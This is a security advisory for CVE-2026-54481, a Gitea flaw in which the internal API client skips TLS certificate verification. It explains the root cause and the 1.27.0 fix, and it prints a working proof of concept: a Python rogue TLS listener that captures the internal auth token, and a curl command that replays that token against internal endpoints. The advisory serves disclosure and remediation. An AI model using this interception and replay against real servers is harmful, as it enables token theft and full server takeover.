high · 7.5CVE-2026-54481Jul 21, 2026

CVE-2026-54481: Gitea Internal API Client Skips TLS Verification

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Gitea's internal API HTTP client unconditionally trusts any TLS certificate, letting an attacker on the network intercept the high-privilege internal token and take full control of the Gitea server.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

The HTTP transport in `modules/private/internal.go` hardcodes `InsecureSkipVerify: true` with no configuration override. This has been present since 2017.

When `LOCAL_ROOT_URL` uses HTTPS pointing to a non-loopback host (split-host, multi-pod, or separate SSH node), subprocesses like `gitea serv` and `gitea hook` connect back over a real network socket. Any on-path attacker can present a self-signed certificate and the client accepts it without complaint.

Every other outbound TLS client in Gitea (webhooks, migrations, MinIO, LDAP, SMTP, Redis, incoming-mail) exposes a configurable `SkipVerify` toggle and is secure by default. The internal API client is the sole exception.

Proof of concept

A working proof-of-concept for CVE-2026-54481 in code.gitea.io/gitea, with the exact payload below.

python
# Step 1: app.ini — route internal calls over HTTPS to an interceptable address
# [server]
# PROTOCOL       = https
# LOCAL_ROOT_URL = https://127.0.0.1:8443/

# Step 2: run rogue TLS listener — accepts any connection, logs the token
# python3 rogue.py
import http.server, ssl, subprocess
subprocess.run([
    "openssl","req","-x509","-newkey","rsa:2048",
    "-keyout","k.pem","-out","c.pem",
    "-days","1","-nodes","-subj","/CN=127.0.0.1"
], check=True)

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):  self._h()
    def do_POST(self): self._h()
    def _h(self):
        auth = self.headers.get("X-Gitea-Internal-Auth", "")
        if "Bearer" in auth:
            print("[!] CAPTURED TOKEN:", auth.replace("Bearer ", ""))
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'{"err":"","user_msg":""}')
    def log_message(self, *a): pass

s = http.server.HTTPServer(("127.0.0.1", 8443), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("c.pem", "k.pem")
s.socket = ctx.wrap_socket(s.socket, server_side=True)
s.serve_forever()

# Step 3: trigger a real internal call — SSH git operation execs `gitea serv`,
# which calls LOCAL_ROOT_URL and sends the token to the rogue listener.
# git clone ssh://git@<host>:<port>/owner/repo.git

# Step 4: replay the captured token against any internal endpoint
# curl -k https://<gitea-host>:<port>/api/internal/manager/processes \
#      -H "X-Gitea-Internal-Auth: Bearer <CAPTURED_TOKEN>"

The root cause is CWE-295: `InsecureSkipVerify: true` is hardcoded in `internalAPITransport` inside `modules/private/internal.go`. The `ServerName` field only controls SNI, not validation, so it provides no safety net while the flag is set.

The captured token (`X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>`) is the sole credential for every `/api/internal/*` route. The server-side check (`authInternal`) does a constant-time string compare against `setting.InternalToken` and nothing else, so a stolen token grants unrestricted access: server shutdown, SSH key authorization, git command execution, hook control, mail send, and Actions runner-token generation.

The patch (PR #38406, v1.27.0) removes the hardcoded `InsecureSkipVerify: true` and aligns the internal client with the rest of the codebase, restoring proper peer certificate validation.

The fix

Upgrade to Gitea 1.27.0. The fix (PR #38406) removes the hardcoded `InsecureSkipVerify: true` from `modules/private/internal.go`, making the internal API transport validate TLS certificates the same way every other outbound client in the codebase does. If an immediate upgrade is not possible, ensure `LOCAL_ROOT_URL` uses a loopback address (`127.0.0.1` or `::1`) or a Unix socket, and restrict network access to the internal segment so on-path interception is not feasible.

Reported by sanil18.

References: [1][2][3]

Related research